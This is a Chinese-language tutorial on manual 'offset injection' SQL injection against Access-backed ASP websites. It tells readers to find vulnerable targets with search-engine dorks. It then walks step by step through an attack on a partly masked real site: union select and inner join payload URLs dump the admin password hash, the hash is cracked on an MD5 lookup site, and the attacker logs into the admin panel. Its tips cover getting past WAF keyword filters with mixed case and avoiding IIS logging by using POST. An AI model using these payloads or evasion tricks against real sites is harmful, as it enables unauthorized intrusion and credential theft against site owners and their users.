在有些Access站点中,由于服务器使用了waf,通过sqlmap进行检测会对封IP,因此无法通过自动工具来获取数据库内容,这时候就需要利用access偏移注入来获取字段值。也即*所表示的字段的顺序被打乱,通过使用inner join查询,从而有可能爆出用户和密码的字段数据。

1.1.1获取目标地址

通过百度、google、fofa.so以及zoomeye等搜索“newslist.asp?id=”关键字,获取带参数的url地址,也即注入目标,例如http://www.f***.com/newslist.asp?id=688。

1.1.2判断url是否存在注入

在url后加and 1=1 返回正常显示

在url后加and 1=2 返回非正常显示(报错),说明可能存在sql注入

http://www.f***.com/newslist.asp?id=688 and 1=1 访问页面正常,如图1所示。

http://www.f***.com/newslist.asp?id=688 and 1=1访问页面非正常,如图2所示。

access的filter属性(Access手工偏移注入)(1)

图1显示新闻正常内容

access的filter属性(Access手工偏移注入)(2)

图2显示新闻内容为空

1.1.3猜字段数

通过url加order by num来判断字段数大小,但num页面显示正确,而num 1显示为错误,则说明存在字段数为num,例如:

http://www.xxx.com/show.asp?id=12 order by 20 页面返回正确

http://www.xxx.com/show.asp?id=12 order by 21 页面返回错误

说明表字段数为20。在本例中, order by 18返回正常,如图3所示,order by 19返回错误,说明字段长度为18。

access的filter属性(Access手工偏移注入)(3)

图3通过order by来确定字段数

1.1.4猜表名

http://www.f***.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from admin

返回正确,说明存在admin表,返回错误则表示不存在该表,经过实际测试,该网站存在sys_admin表,但相应显示字段显示为数字,无法获取表字段内容,如图4所示。

access的filter属性(Access手工偏移注入)(4)

图4查询sys_admin

1.1.5猜sys_admin表下的字段数

根据order by 猜测出来的字段数来构建字段数进行猜测,例如20网页显示正确,则可以构建:

http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin(页面报错)

http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin(页面报错)

http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from admin(页面报错)

http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin(页面正确)

此时就发现了admin表下有四个字段(20-16=4)。

在本例中order by 18页面显示正确,因此构造语句为:

http://www.f***.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from sys_admin

http://www.f***.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from sys_admin (返回报错)

http://www.f***.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,* from sys_admin (返回报错)

http://www.f***.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from sys_admin (返回报错)

http://www.f***.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,* from sys_admin (返回报错)

http://www.f***.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,* from sys_admin (返回正确)

sys_admin表有18-11=7个字段。

6.inner join 连接查询

inner join查询是将一张表虚拟成多张相同的表来进行查询,首先用两张表来进行查询,应该减去重复的部分也就是这四个字段,不能让这四个字段算两次,这样的话20-4-4=12,语句中只需要罗列出12个数字。

http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,* from (admin as a inner join admin as b on a.id = b.id)

http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,a.id,b.id,* from (admin as a inner join admin as b on a.id = b.id)

上面的这两种情况还是报错,那么我们继续再来添加一张表,再减去重复的四个字段,20-4-4-4=8,语句中只需要罗列出8个数字。

再次使用inner join查询:

http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

页面返回正确,即可获取md5密码。

因此本例中构建18-4-4=10,需要从10开始构建语句:

(1)http://www.f***.com/newslist.asp?id=688 and 1=2 union select 1,2,3,4,5,6,7,8,9,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on a.id=b.id) 返回报错,如图5所示。

(2)http://www.f***.com/newslist.asp?id=688 and 1=2 union select 1,2,3,4,5,6,7,8,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on a.id=b.id) 返回报错

(3)http://www.f***.com/newslist.asp?id=688 and 1=2 union select 1,2,3,4,5,6,7,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on a.id=b.id) 返回报错

(4)http://www.f***.com/newslist.asp?id=688 and 1=2 union select 1,2,3,4,5,6,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on a.id=b.id) 返回报错

(5)http://www.f***.com/newslist.asp?id=688 and 1=2 union select 1,2,3,4,5,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on a.id=b.id) 返回报错

(6)http://www.f***.com/newslist.asp?id=688 and 1=2 union select 1,2,3,4,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on a.id=b.id) 返回正确,如图6所示成功获取admin元加密的密码字符串。

access的filter属性(Access手工偏移注入)(5)

图5通过网页出错递减法来判断

access的filter属性(Access手工偏移注入)(6)

图6成功获取密码

1.1.7解密加密的md5值

将查询获取的md5值去cmd5.com网站进行查询,如图7所示,成功破解md5密码。

access的filter属性(Access手工偏移注入)(7)

图7查询md5加密值

1.1.8登录管理后台

一般网站的登录用户名都是admin,填写用户名和密码成功登录,如图8所示。

access的filter属性(Access手工偏移注入)(8)

图8成功登录后台

1.1.9经验总结

(1)网站安全防护会过滤select、update、delete这些关键字,有些没有区分大小写,因此可以构建过滤字中大小写来绕过,例如用selecT尝试。

(2)在猜不到字段名时,可以查看网站上的登录页面的源代码中登录表单,一般来讲其字段名都与表单的输入框取相同的名字。

(3)url编码。地址栏的 号传入程序后解释为空格,+解释为 号,%解释为%号,具。

(4)用get方法注入时,IIS会记录你所有的提交字符串,对post方法做则不记录,所以能用post的网址尽量不用get。

(5)猜解access时只能用ascii逐字解码法

(6)在发现SQL注入时可以使用多个注入工具进行交叉扫描和尝试猜测。

,